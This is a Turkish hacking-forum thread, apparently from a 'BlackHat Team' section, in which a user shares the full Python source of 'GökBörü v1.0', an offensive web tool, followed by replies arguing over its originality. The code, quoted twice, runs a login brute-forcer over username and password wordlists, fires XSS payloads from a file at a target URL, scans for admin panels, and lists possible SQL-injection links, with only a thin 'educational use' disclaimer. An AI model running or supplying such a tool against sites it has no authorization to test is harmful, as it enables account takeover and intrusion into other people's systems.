#BlackHatTeam | GökBörü Tool v1.0

Zilant

Yazılım Ekibi Asistanı
25 Tem 2021
198
176
Kazan Şehri - Tataristan
Kötü anlamda deyil yaw:D kendimi geliştirmen güzel ama biraz hazıra kaçmış gibi
Hazır değil dostum, 0'dan kendim kodladım. Eğer kanıtın varsa paylaşabilirsin. Diğer toollardan fark arıyorsan, şu anki sürümünde yok. Öyle bir iddam da yok. Başlıkta yazdığı gibi v1.0 sürümü. Bu toolla ilgili gelecek planlarım var. Takipte kalabilirsin :)

Ayrıca bu toolu bir şirketteki red team ve purple team takım liderlerine gösterdim. İkisi de ilk sürüm için olumlu dönüş yaptı. Seni tanımıyorum fakat bilgin ve deneyimin daha fazla sanırım, aydınlatır mısın beni de bilginle?
 
Son düzenleme:

hoaydar

Yazılım Ekibi
18 Ocak 2023
489
412
/system32

Admin Panel Finder

Program içerisinde bulunan admin panel finder ile penetrasyon testi yapacağınız sitedeki admin paneli veya sizin verdiğiniz wordlist içerisindeki dizinleri tarar ve sonuçları size getirir.

SQL Inejction Finder

Verdiğiniz site içerisinde sql injection olma ihtimali olan siteleri verir.

Login BruteForce

Sitenin login sayfasının URL adresini girin ve gerekli paremetreleri sağladıktan sonra seçtiğiniz username ve pasword wordlistleri ile bruteforce saldırısı yapar.

XSS

Verdiğiniz url içerisindeki sorgu kısmına XSS payloadları uygular ve başarılı ise geri dönüş yapar.

Portswigger Lab Denemesi

Portswigger üzerinde bir XSS labında yaptığım deneme.


Teşekkürler:
-Black Hat Team-

Bu tool tarafımca geliştirilmeye devam edilecektir.​

Kaynak Kodları:

Python:
from colorama import Fore, init
import requests
import time
from bs4 import BeautifulSoup
from urllib.parse import urlencode
import re
from art import *

init(autoreset=True)
def xss(url, xssPayloadFile):
    try:
        with open(xssPayloadFile, 'r', encoding="utf-8") as file:
            payloads = file.readlines()
    except FileNotFoundError:
        print("Payload dosyası bulunamadı.")
        return

    try:
        for payload in payloads:
            payload = payload.strip()
            url_with_payload = url + payload
            response = requests.get(url_with_payload)
            response.raise_for_status()
            soup = BeautifulSoup(response.content, 'html.parser')
            if payload in soup.get_text():
                print(Fore.GREEN +"[+] Payload tespit edildi:", payload)
            else:
                print(Fore.RED +"[-] Payload tespit edilemedi:", payload)
    except requests.exceptions.RequestException as e:
        print(Fore.RED +"[!]Hata:", e)
    input("çıkış yapmak için 'q' tuşuna basınız")

def bruteForce(url, error_message,username_file, password_file, param1, param2):
    try:
        with open(username_file, 'r') as user_file:
            usernames = user_file.readlines()
        with open(password_file, 'r') as pass_file:
            passwords = pass_file.readlines()
    except FileNotFoundError:
        print("Dosya bulunamadı.")
        return
   
    for username in usernames:
        username = username.strip()
        for password in passwords:
            password = password.strip()
            data = {param1: username, param2: password}
            response = requests.post(url, data=data)
            soup = BeautifulSoup(response.content, 'html.parser')
            error_tag = soup.find(string=re.compile(error_message))
            if not error_tag:
                print(Fore.GREEN + f"'{username,password}' parametresi için başarılı istek yapıldı.")
            else:
                print(Fore.RED + f"'{username,password}' parametresi için istek başarısız oldu.")
    input("Çıkmak için bir tuşa basınız...")


def sqlBul(url):
    response = requests.get(url)
    html_content = response.text
    soup = BeautifulSoup(html_content, 'html.parser')
    php_urls = re.findall(r'href=[\'"]?([^\'" >]+)', html_content)
    php_urls = [link for link in php_urls if ".php?" in link]
    for php_url in php_urls:
        print(Fore.GREEN+"[+] Bulunan Siteler" ,"=>", php_url)
    input("Çıkmak için bir tuşa basınız...")

def dizini_bul(url, hedef_dizinler, set_sleep):
   
    bulunan_dizinler = set()
    try:
        for dizin in hedef_dizinler:
            hedef = url + "/" + dizin
            response = requests.get(hedef)
            time.sleep(float(set_sleep))
            if response.status_code == 200 and hedef not in bulunan_dizinler:
                print(Fore.GREEN + "[+] Dizin bulundu =", hedef)
                bulunan_dizinler.add(hedef)
            elif response.status_code == 404 and hedef not in bulunan_dizinler:
                print(Fore.RED + "[!] 404 Hatası =", hedef)
               
            elif response.status_code == 302 and hedef not in bulunan_dizinler:
                print(Fore.BLUE + "[!] 302 Object moved temporarily =", hedef)
               
            elif response.status_code == 401 and hedef not in bulunan_dizinler:
                print(Fore.YELLOW + "[!] 401 Unauthorized =", hedef)
               
    except requests.exceptions as e:
        print("[!] Hata:", e)

    print("\nBulunan Dizinler Özeti:")
    for dizin in bulunan_dizinler:
        print("-", dizin)
    print("Toplam", len(bulunan_dizinler), "dizin bulundu.")
    input("Çıkmak için bir tuşa basınız...")

def konsol():
    print("""
    Seçenekler:
          1- Admin Panel Finder
          2- Possible SQL Injection Finder
          3- BruteForce
          4- XSS
""")
    print("Seçeneklerden istediğinizi numarasını girerek seçiniz.")
    choice = input("Seçim: ")
    if choice == "1":
            tprint("admin finder", font="chunky")
            url = input(Fore.CYAN + "Lütfen taramak istediğiniz web sitesinin URL'sini girin: ")
            dosya_yolu = input(Fore.CYAN +"Lütfen dizinleri içeren metin dosyasının yolunu girin: ")
            set_sleep = input(Fore.CYAN +"Her istek arasında ne kadar beklemek istediğinizi belirtin: ")
            try:
                with open(dosya_yolu, 'r') as dosya:
                    hedef_dizinler = dosya.read().splitlines()
                    dizini_bul(url, hedef_dizinler, set_sleep)
            except FileNotFoundError:
                print(Fore.RED +"Belirtilen dosya bulunamadı.")
    elif choice == "2":
                tprint("Possible SQL \nInjection Finder", font="small" )
                url = input(Fore.BLUE + "Lütfen taramak istediğiniz web sitesinin URL'sini girin: ")
                sqlBul(url)
    elif choice == "3":
                tprint("BruteForce", font="speed" )
                url = input("Lütfen URL'yi girin: ")
                error_message = input("Lütfen hata mesajını girin (hata mesajı yoksa boş bırakın):")
                param1 = input("Birinci parametreyi girin (ör. username): ")
                param2 = input("İkinci parametreyi girin (ör. password): ")
                username_file = input("Kullanıcı adlarının bulunduğu dosyanın adını girin: ")
                password_file = input("Şifrelerin bulunduğu dosyanın adını girin: ")
                bruteForce(url, error_message,username_file, password_file, param1, param2)
    elif choice == "4":
                tprint("XSS", font="chiseled")
                url = input(Fore.YELLOW + "XSS payloadı denemek istediğiniz url adresini girin: ")
                xssPayloadFile = input( Fore.YELLOW +"XSS Payloadlarınızın bulunduğu txt dosyasının yolu: ")
                xss(url, xssPayloadFile)
               
 
def main():
   
    tprint("gokboru", font="merlin1")
    tprint("BlackHat", font="cybermedium")
    print("meakay")
    print("Bu aracın kullanımı eğitim amaçlıdır. Verilen zararlardan kişi kendisi sorumludur.")
    sorumluluk = input("Yaptığım faaliyetlerden sorumlu olduğumu ve bu aracı yazan kişinin hiçbir sorumluluğu olmadığını kabul ediyorum. (E/H)")
    if sorumluluk.lower() == "e":
        konsol()
    else:
        print("Programdan çıkış yapılıyor...")

               
   
if __name__ == "__main__":
    main()
Eline sağlık
 

lexom

Katılımcı Üye
13 Mar 2022
629
699
BİRKAN'
Hazır değil dostum, 0'dan kendim kodladım. Eğer kanıtın varsa paylaşabilirsin. Diğer toollardan fark arıyorsan, şu anki sürümünde yok. Öyle bir iddam da yok. Başlıkta yazdığı gibi v1.0 sürümü. Bu toolla ilgili gelecek planlarım var. Takipte kalabilirsin :)

Ayrıca bu toolu bir şirketteki red team ve purple team takım liderlerine gösterdim. İkisi de ilk sürüm için olumlu dönüş yaptı. Seni tanımıyorum fakat bilgin ve deneyimin daha fazla sanırım, aydınlatır mısın beni de bilginle?
Alanım penetrasyon ve siber istihbarat penetrason alanında çok kişiye forum içinde önderlik yaptım kulüp liderliğim ile siber istihbarat alanında olan çalışmalarım zaten belli kişiler biliyor kulüp olayında şuan hocam dediklerin arasında benim kulüp üyelerimde bulunuyor bilgimi sormuştun buyur cevapladım bu arada eski anka team ve blue team ciyim :) yettimi ?

Ek olarak:

anka undergraund team benim kulübümden üye alımı yaptığı zamanlar vardı
 

Zilant

Yazılım Ekibi Asistanı
25 Tem 2021
198
176
Kazan Şehri - Tataristan
Alanım penetrasyon ve siber istihbarat penetrason alanında çok kişiye forum içinde önderlik yaptım kulüp liderliğim ile siber istihbarat alanında olan çalışmalarım zaten belli kişiler biliyor kulüp olayında şuan hocam dediklerin arasında benim kulüp üyelerimde bulunuyor bilgimi sormuştun buyur cevapladım bu arada eski anka team ve blue team ciyim :) yettimi ?
Kimseye hocam demekten çekinmem, ben günlük hayatta da hocam kelimesini sıklıkla kullanırım. Ben senin bilgini sorgulamadım, zaten mesajımda "bilgin ve deneyimin daha fazla sanırım" yazıyor. Forumda da başarılı olabilirsin, tebrik ederim.
 

Grimner

Adanmış Üye
28 Mar 2020
6,308
4,727
Hocam arkadaki fark arkadaşımız emek vermiş olması
Burada önemli olan emek değil işlevsellik. Piyasada aynı araçtan bir ton var. Herhangi bir avantaj sunmuyor ise boşa emek verilmiş demektir. Emek verildi diye iyi olmak zorunda değil.

Foruma katkı sağlamak istemesi
Github üzerinde onlarca örneği olan bir araç foruma nasıl katkı sağlayacak?

Piyasadaki diğer alternatiflerinden bir farkı var mıdır acaba?
Bu yorumu yapma sebebim de tam olarak buydu. Foruma katkı sağlanmak için yapılmış ancak mevcut yapının üstüne ne koyulmuş? Şimdi bu konuyu azıcık değiştirip, tekrar açsam foruma bir yararı olur mu sence?

Kendini geliştirmek istemesi
Bizde kendisini geliştirmesini isteriz, aksini söyleyen birisi yok zaten.

Birde hocam bu kadar kopyala yapıştır makale yazi vb varken forumda emek verilmiş bir konuya bu yaklasiminizin farkı nedir bizede ogretirmisiniz
o9kx08c.jpg

Yukarıdaki örnekte de görüldüğü üzere, başka projelerde de aynı soruyu soruyorum. Bir daha insanlara çifte standart uyguladığımı iddia etmeni önermem.
 

kst132

Junior Hunter
12 Haz 2023
919
536

Admin Panel Finder

Program içerisinde bulunan admin panel finder ile penetrasyon testi yapacağınız sitedeki admin paneli veya sizin verdiğiniz wordlist içerisindeki dizinleri tarar ve sonuçları size getirir.

SQL Inejction Finder

Verdiğiniz site içerisinde sql injection olma ihtimali olan siteleri verir.

Login BruteForce

Sitenin login sayfasının URL adresini girin ve gerekli paremetreleri sağladıktan sonra seçtiğiniz username ve pasword wordlistleri ile bruteforce saldırısı yapar.

XSS

Verdiğiniz url içerisindeki sorgu kısmına XSS payloadları uygular ve başarılı ise geri dönüş yapar.

Portswigger Lab Denemesi

Portswigger üzerinde bir XSS labında yaptığım deneme.


Teşekkürler:
-Black Hat Team-

Bu tool tarafımca geliştirilmeye devam edilecektir.​

Kaynak Kodları:

Python:
from colorama import Fore, init
import requests
import time
from bs4 import BeautifulSoup
from urllib.parse import urlencode
import re
from art import *

init(autoreset=True)
def xss(url, xssPayloadFile):
    try:
        with open(xssPayloadFile, 'r', encoding="utf-8") as file:
            payloads = file.readlines()
    except FileNotFoundError:
        print("Payload dosyası bulunamadı.")
        return

    try:
        for payload in payloads:
            payload = payload.strip()
            url_with_payload = url + payload
            response = requests.get(url_with_payload)
            response.raise_for_status()
            soup = BeautifulSoup(response.content, 'html.parser')
            if payload in soup.get_text():
                print(Fore.GREEN +"[+] Payload tespit edildi:", payload)
            else:
                print(Fore.RED +"[-] Payload tespit edilemedi:", payload)
    except requests.exceptions.RequestException as e:
        print(Fore.RED +"[!]Hata:", e)
    input("çıkış yapmak için 'q' tuşuna basınız")

def bruteForce(url, error_message,username_file, password_file, param1, param2):
    try:
        with open(username_file, 'r') as user_file:
            usernames = user_file.readlines()
        with open(password_file, 'r') as pass_file:
            passwords = pass_file.readlines()
    except FileNotFoundError:
        print("Dosya bulunamadı.")
        return
   
    for username in usernames:
        username = username.strip()
        for password in passwords:
            password = password.strip()
            data = {param1: username, param2: password}
            response = requests.post(url, data=data)
            soup = BeautifulSoup(response.content, 'html.parser')
            error_tag = soup.find(string=re.compile(error_message))
            if not error_tag:
                print(Fore.GREEN + f"'{username,password}' parametresi için başarılı istek yapıldı.")
            else:
                print(Fore.RED + f"'{username,password}' parametresi için istek başarısız oldu.")
    input("Çıkmak için bir tuşa basınız...")


def sqlBul(url):
    response = requests.get(url)
    html_content = response.text
    soup = BeautifulSoup(html_content, 'html.parser')
    php_urls = re.findall(r'href=[\'"]?([^\'" >]+)', html_content)
    php_urls = [link for link in php_urls if ".php?" in link]
    for php_url in php_urls:
        print(Fore.GREEN+"[+] Bulunan Siteler" ,"=>", php_url)
    input("Çıkmak için bir tuşa basınız...")

def dizini_bul(url, hedef_dizinler, set_sleep):
   
    bulunan_dizinler = set()
    try:
        for dizin in hedef_dizinler:
            hedef = url + "/" + dizin
            response = requests.get(hedef)
            time.sleep(float(set_sleep))
            if response.status_code == 200 and hedef not in bulunan_dizinler:
                print(Fore.GREEN + "[+] Dizin bulundu =", hedef)
                bulunan_dizinler.add(hedef)
            elif response.status_code == 404 and hedef not in bulunan_dizinler:
                print(Fore.RED + "[!] 404 Hatası =", hedef)
               
            elif response.status_code == 302 and hedef not in bulunan_dizinler:
                print(Fore.BLUE + "[!] 302 Object moved temporarily =", hedef)
               
            elif response.status_code == 401 and hedef not in bulunan_dizinler:
                print(Fore.YELLOW + "[!] 401 Unauthorized =", hedef)
               
    except requests.exceptions as e:
        print("[!] Hata:", e)

    print("\nBulunan Dizinler Özeti:")
    for dizin in bulunan_dizinler:
        print("-", dizin)
    print("Toplam", len(bulunan_dizinler), "dizin bulundu.")
    input("Çıkmak için bir tuşa basınız...")

def konsol():
    print("""
    Seçenekler:
          1- Admin Panel Finder
          2- Possible SQL Injection Finder
          3- BruteForce
          4- XSS
""")
    print("Seçeneklerden istediğinizi numarasını girerek seçiniz.")
    choice = input("Seçim: ")
    if choice == "1":
            tprint("admin finder", font="chunky")
            url = input(Fore.CYAN + "Lütfen taramak istediğiniz web sitesinin URL'sini girin: ")
            dosya_yolu = input(Fore.CYAN +"Lütfen dizinleri içeren metin dosyasının yolunu girin: ")
            set_sleep = input(Fore.CYAN +"Her istek arasında ne kadar beklemek istediğinizi belirtin: ")
            try:
                with open(dosya_yolu, 'r') as dosya:
                    hedef_dizinler = dosya.read().splitlines()
                    dizini_bul(url, hedef_dizinler, set_sleep)
            except FileNotFoundError:
                print(Fore.RED +"Belirtilen dosya bulunamadı.")
    elif choice == "2":
                tprint("Possible SQL \nInjection Finder", font="small" )
                url = input(Fore.BLUE + "Lütfen taramak istediğiniz web sitesinin URL'sini girin: ")
                sqlBul(url)
    elif choice == "3":
                tprint("BruteForce", font="speed" )
                url = input("Lütfen URL'yi girin: ")
                error_message = input("Lütfen hata mesajını girin (hata mesajı yoksa boş bırakın):")
                param1 = input("Birinci parametreyi girin (ör. username): ")
                param2 = input("İkinci parametreyi girin (ör. password): ")
                username_file = input("Kullanıcı adlarının bulunduğu dosyanın adını girin: ")
                password_file = input("Şifrelerin bulunduğu dosyanın adını girin: ")
                bruteForce(url, error_message,username_file, password_file, param1, param2)
    elif choice == "4":
                tprint("XSS", font="chiseled")
                url = input(Fore.YELLOW + "XSS payloadı denemek istediğiniz url adresini girin: ")
                xssPayloadFile = input( Fore.YELLOW +"XSS Payloadlarınızın bulunduğu txt dosyasının yolu: ")
                xss(url, xssPayloadFile)
               
 
def main():
   
    tprint("gokboru", font="merlin1")
    tprint("BlackHat", font="cybermedium")
    print("meakay")
    print("Bu aracın kullanımı eğitim amaçlıdır. Verilen zararlardan kişi kendisi sorumludur.")
    sorumluluk = input("Yaptığım faaliyetlerden sorumlu olduğumu ve bu aracı yazan kişinin hiçbir sorumluluğu olmadığını kabul ediyorum. (E/H)")
    if sorumluluk.lower() == "e":
        konsol()
    else:
        print("Programdan çıkış yapılıyor...")

               
   
if __name__ == "__main__":
    main()
Eline emeğine sağlık
 

Zilant

Yazılım Ekibi Asistanı
25 Tem 2021
198
176
Kazan Şehri - Tataristan
Eline emeğine sağlık
Teşekkür ederim.
Burada önemli olan emek değil işlevsellik. Piyasada aynı araçtan bir ton var. Herhangi bir avantaj sunmuyor ise boşa emek verilmiş demektir. Emek verildi diye iyi olmak zorunda değil.


Github üzerinde onlarca örneği olan bir araç foruma nasıl katkı sağlayacak?


Bu yorumu yapma sebebim de tam olarak buydu. Foruma katkı sağlanmak için yapılmış ancak mevcut yapının üstüne ne koyulmuş? Şimdi bu konuyu azıcık değiştirip, tekrar açsam foruma bir yararı olur mu sence?


Bizde kendisini geliştirmesini isteriz, aksini söyleyen birisi yok zaten.


o9kx08c.jpg

Yukarıdaki örnekte de görüldüğü üzere, başka projelerde de aynı soruyu soruyorum. Bir daha insanlara çifte standart uyguladığımı iddia etmeni önermem.
Eleştri için teşekkür ederim, eleştiri olmadan gelişmek mümkün değildir. İlk sürümü biraz demo gibi düşünebilirsiniz. Diğer araçlardan farkının olmadığının farkındayım ve öyle bir iddiamın bulunmadığını da yeniden belirtiyorum. Foruma katkı sağlar veya sağlamaz orasını zaman gösterir. Bu konu üzerinden benimle iletişime geçip yardım isteyenler oldu ve kendilerine yardım ettim. Bence bu bile foruma bir katkıdır. Tabi herkesin görüşü farklı olabilir. Herkesin her türlü yardımına da açığım. Yanlış gördüğünüz/böyle daha iyi olur dediğiniz yerleri beraber geliştirebiliriz.
 

ByToluidin

Özel Üye
27 Ocak 2007
3,171
550
Kardeşim kimin ne dediğine bakma bu işler c# ile hesap makinası yazmayla başlar güzel bir şirkette yazılım muhendisi olarak devam eder. Kendini geliştirerek hayatına devam et. Hesap makinası bile yazsan burada paylaş senin için bir günlük olsun. Belki foruma bir katkısı olmaz ama senin için motivasyon kaynağı olur.

**Burada yazdığın mesaj sayısının, aldığın beğeni miktarının, bulunduğunun rütbenin (admin bile olsan) sana hiçbir faydası olmayacak. Yarın sana ne maaş bağlanır, ne bir iş yerinde ref olacak potansiyeli olur. Kendini geliştirebildiğin kadar geliştir ..
 

Zilant

Yazılım Ekibi Asistanı
25 Tem 2021
198
176
Kazan Şehri - Tataristan
Kardeşim kimin ne dediğine bakma bu işler c# ile hesap makinası yazmayla başlar güzel bir şirkette yazılım muhendisi olarak devam eder. Kendini geliştirerek hayatına devam et. Hesap makinası bile yazsan burada paylaş senin için bir günlük olsun. Belki foruma bir katkısı olmaz ama senin için motivasyon kaynağı olur.

**Burada yazdığın mesaj sayısının, aldığın beğeni miktarının, bulunduğunun rütbenin (admin bile olsan) sana hiçbir faydası olmayacak. Yarın sana ne maaş bağlanır, ne bir iş yerinde ref olacak potansiyeli olur. Kendini geliştirebildiğin kadar geliştir ..
Teşekkür ederim, ben de sizin gibi düşünüyorum. Burada da birilerine faydam olursa ne mutlu bana.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.